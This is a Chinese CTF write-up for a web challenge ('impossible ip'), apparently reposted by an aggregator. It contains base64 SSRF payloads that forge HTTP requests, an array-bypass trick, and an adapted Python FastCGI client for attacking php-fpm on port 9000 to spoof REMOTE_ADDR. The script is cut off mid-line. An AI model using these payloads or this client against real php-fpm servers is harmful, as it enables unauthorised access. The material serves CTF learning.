2021.6.1萌新赛-impossible ip FastCGI 攻击 php-fpm简单的绑定 公网 127.0.0.1的 9000 地址 -- 注意 waf
Posted Zero_Adam
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2021.6.1萌新赛-impossible ip FastCGI 攻击 php-fpm简单的绑定 公网 127.0.0.1的 9000 地址 -- 注意 waf相关的知识,希望对你有一定的参考价值。
这里写目录标题
特别鸣谢: lastsward 大佬,
参考自: 官方WP
题目网站:http://114.96.78.89:8000/challenges#2021.6.1%E8%90%8C%E6%96%B0%E8%B5%9B-impossible%20ip-41。主办方,说环境会开到 下一次比赛呢~,大赞!!!
学习WP
考点:
- php socket 伪造http请求ssrf
- 攻击php-fpm实现伪造ip
<?php
highlight_file(__FILE__);
error_reporting(0);
$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];
if(preg_match('/usr|auto|log/i' ,$data))
{
die("error");
}
$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp)
{
die();
}
else
{
fwrite($fp,$data);
while(!feof($data))
{
echo fgets($fp,128);
}
fclose($fp);
}
socket伪造http请求,exp:
这里http请求,只用了 这三部分,
$out = "GET /flag.php HTTP/1.1\\r\\n";
$out .= "Host: 127.0.0.1\\r\\n";
$out .= "Connection: Close\\r\\n\\r\\n";
echo base64_encode($out);
payload:
?data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=&host=127.0.0.1&port=80
得到:
这里本地去访问,flag.php也是奇怪了,,怎么想到这个的,
<?php
error_reporting(0);
$allow = array('127.0.0.1','localhost');
if(in_array($_SERVER['HTTP_HOST'],$allow)){
highlight_file(__FILE__);
$contents = $_POST['data'];
$file = 'file/'.md5("lastsward".$_SERVER['REMOTE_ADDR']);
@mkdir($file); # 创建一个沙盒
# 没有 lastsward 的时候,写入 hint 文件,,数组绕过把,写入,
if(!preg_match('/lastsward/i', $contents)){
file_put_contents($file.'/hint.txt', $contents);
}
# 匹配到了之后,给 phpinfo
if(file_get_contents($file.'/hint.txt')==='lastsward'){
phpinfo();
}
die();
}
if($_SERVER['REMOTE_ADDR']==='120.78.22.12'||$_SERVER['REMOTE_ADDR']==='120.78.22.121'){
system('cat /flag');
die();
}
die('请从本地访问');
我们要将hint.txt中写入lastsward才能够看到phpinfo。但是contents要没有lastsward的时候,才能够写入contents。
用data[]=lastsward
数组绕过,注意伪造 http 数据包的格式,可以本地就访问这样一个数据报,post访问flag.php然后看看是什么然后伪造一下。
4部分就够了。
<?php
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
data[]=lastsward
这几部分就按照它的来吧,一个是GET请求的几个部分,一个是POST请求的几个部分
生成的payload
?data=UE9TVCAvZmxhZy5waHAgSFRUUC8xLjEKSG9zdDogMTI3LjAuMC4xCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkCkNvbnRlbnQtTGVuZ3RoOiAxNgoKZGF0YVtdPWxhc3Rzd2FyZA==&host=127.0.0.1&port=80
一般默认是访问9000端口的。
查看phpinfo可以发现php-fpm 然后ssrf打fpm(9000端口),默认是9000把, 然后就打9000 了。 伪造ip。
将那个二进制数据包,发给那个SSRF 漏洞的Web程序中,也就是那个index.php中的data
应该不是绑定在0.0.0.0,打不通,应该是在127.0.0.1上,
再一次理解php-fpm
1. 就用php-fpm加载flag.php这个预期解来做,
需要我们的 REMOTE_ADDR
是一下两个,但是 这个我们没有办法去伪造,但是 php-fpm 的二进制包中可以弄一弄,php-fpm 的本来就是加载php脚本的
下面这个是WP的,这个vps,就是将这个二进制数据包发到我们的vps上,然后端口是我们监听的端口就好了。
我请教过出题人了。其实直接在本地监听端口,获取这个二进制包就行,没必要非要在vps上监听,。
不过这样更是加深了我对 这个脚本的一些理解和认识,至于往vps上发为什么不行,我猜是阿里云给屏蔽了。因为相同的方法,打向本地端口就能够收到。
php-fpm的作用就是加载脚本的,这个是给那个 flag.php来做的,那么我们要加载的PHP文件夹就要是/var/www/html/flag.php
了。然后会自动加载上述配置,这个时候,我们将REMOTE_ADDR
,修改成
这个两个其中一个,然后端口随意。
一样的gopher打的也是后面的数据部分,就是只是二进制包而已,gopher打的是 GET 传参的,直接url编码的。但是这道题是 base64 加密的。所以直接payload打是不行的。所以我们要把这个二进制数据拿出来,然后base64加密之后,就能够打了。
而且不用用gopher来打,为啥呢,当初用gopher就是为了 SSRF ,比如:gopher://127.0.0.1:9000//_xxxxx
这样,
但是这个题的host和port已经给了。我们直接GET传参host=127.0.0.1&port=9000
就直接打到了php-fpm 上去了。也就是gopher的功能了。然后后面的data就是gopher后面发送的数据了。
对的:之前看到的,我们输入的ip都是靶机的IP,然后port默认是 9000 ,也就是 我们直接将这个二进制
确定了目的了。那么那些 RCE的东西也可以不要了,当然想要RCE那些也行,我后面也会用那种方法再做一遍,
然后修改脚本,
脚本贴出出来:(很大部分是借鉴自 lastsward 大佬的,出题大佬lastsward人很好滴~!!!)
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \\
+ bchr(fcgi_type) \\
+ bchr((requestid >> 8) & 0xFF) \\
+ bchr(requestid & 0xFF) \\
+ bchr((length >> 8) & 0xFF) \\
+ bchr(length & 0xFF) \\
+ bchr(0) \\
+ bchr(0) \\
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \\
+ bchr((nLen >> 16) & 0xFF) \\
+ bchr((nLen >> 8) & 0xFF) \\
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \\
+ bchr((vLen >> 16) & 0xFF) \\
+ bchr((vLen >> 8) & 0xFF) \\
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \\
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \\
+ bchr(self.keepalive) \\
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \\
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
#parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
#parser.add_argument('host', help='Target host, such as 127.0.0.1')
#parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
#parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit(); ?>')
#parser.add_argument('-p', '--port', help='FastCGI port', default=5555, type=int)
#args = parser.parse_args()
client = FastCGIClient("127.0.0.1", 5555, 3, 0)
params = dict()
documentRoot = "/"
uri = "/var/www/html/flag.php"
content = ''
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': docu以上是关于2021.6.1萌新赛-impossible ip FastCGI 攻击 php-fpm简单的绑定 公网 127.0.0.1的 9000 地址 -- 注意 waf的主要内容,如果未能解决你的问题,请参考以下文章
2021.6.1 NEWSCTF 萌新赛 -- Web --- weblog ---反序列化